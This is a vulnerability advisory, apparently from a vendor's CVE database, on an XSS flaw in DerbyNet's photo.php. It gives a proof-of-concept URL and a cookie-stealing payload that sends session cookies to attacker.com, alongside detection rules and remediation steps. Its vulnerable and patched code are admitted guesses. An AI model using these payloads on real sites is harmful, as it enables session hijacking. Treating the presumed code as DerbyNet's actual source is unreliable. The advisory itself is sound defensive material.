CVE-2024-30921
Executive Summary
CVE-2024-30921 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the photo.php component, allowing a remote attacker to inject arbitrary web scripts or HTML. Successful exploitation can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DerbyNet is not distributed via NPM, PyPI, Go, or Ruby registries. It is a standalone PHP application typically deployed on Apache/Nginx. No supply chain compromise has been reported.
CVSS Breakdown & Threat Level
The CVSS vector is unknown due to insufficient data from the NVD. However, based on the vulnerability type (XSS), a reasonable estimate would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R)
- Scope (S): Changed (C)
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS v3.1 Score: 6.1 (Medium)
Threat Level: Medium – Exploitation requires user interaction, but the impact on confidentiality and integrity is limited.
Deep Dive & Mechanics
The vulnerability exists in the photo.php component of DerbyNet. This script likely handles image uploads or display parameters without proper sanitization. An attacker can inject malicious JavaScript or HTML via a crafted request parameter (e.g., ?photo=<script>alert(1)</script>). When a victim visits the crafted URL, the injected script executes in their browser context.
Root Cause: Lack of input validation and output encoding in photo.php. The application fails to escape user-supplied data before rendering it in the HTTP response.
Attack Vector: Remote, unauthenticated attacker sends a crafted link to a victim. The victim must click the link or load the malicious URL.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be:
Vulnerable (photo.php):
<?php
$photo = $_GET['photo'];
echo "<img src='$photo' />";
?>
Patched (hypothetical):
<?php
$photo = htmlspecialchars($_GET['photo'], ENT_QUOTES, 'UTF-8');
echo "<img src='$photo' />";
?>
The fix involves using htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC):
http://target/derbynet/photo.php?photo="><script>alert('XSS')</script>
Advanced Payload (Session Hijacking):
http://target/derbynet/photo.php?photo="><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Lab Setup:
- Deploy DerbyNet v9.0 on a local Apache server.
- Access
photo.phpwith the PoC URL. - Observe the XSS alert or cookie exfiltration.
Blue Team
Detection Steps:
- Monitor web server logs for suspicious
photo.phprequests containing<script>oronerrorpatterns. - Use WAF rules to block XSS payloads in query strings.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Log Analysis Command:
grep "photo.php" /var/log/apache2/access.log | grep -E "(<|>|script|onerror|alert)"
Indicators of Compromise (IOCs)
- URL Pattern:
*/photo.php?photo=*<script>* - HTTP Request: GET request to
/photo.phpwith encoded XSS payloads. - Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
- Log Entry:
"GET /photo.php?photo=%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200
Detection Engineering
YARA Rule
rule CVE_2024_30921_XSS_Photo {
meta:
description = "Detects XSS attempts against DerbyNet photo.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-30921"
strings:
$xss1 = /photo\.php\?photo=.*<script>/i
$xss2 = /photo\.php\?photo=.*onerror/i
$xss3 = /photo\.php\?photo=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: DerbyNet photo.php XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in photo.php requests
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'photo.php?photo='
cs-uri-query|re: '(<script|onerror|alert)'
condition: selection
falsepositives:
- Legitimate use of script tags in photo names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-30921 DerbyNet photo.php XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/photo.php"; http_uri; content:"photo="; http_uri; pcre:"/(<script|onerror|alert)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable photo.php if not required, or restrict access via
.htaccess:<Files "photo.php"> Require all denied </Files> - Apply WAF rules to block XSS patterns in query strings.
- Implement CSP header in Apache configuration:
Header always set Content-Security-Policy "default-src 'self'; script-src 'none';"
Long-Term Fix:
- Upgrade to a patched version when available.
- Manually patch
photo.phpby adding input sanitization:$photo = htmlspecialchars($_GET['photo'], ENT_QUOTES, 'UTF-8');
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious requests:
if ($args ~* "(<script|onerror|alert)") { return 403; }
Valters IT
Securing Digital Frontiers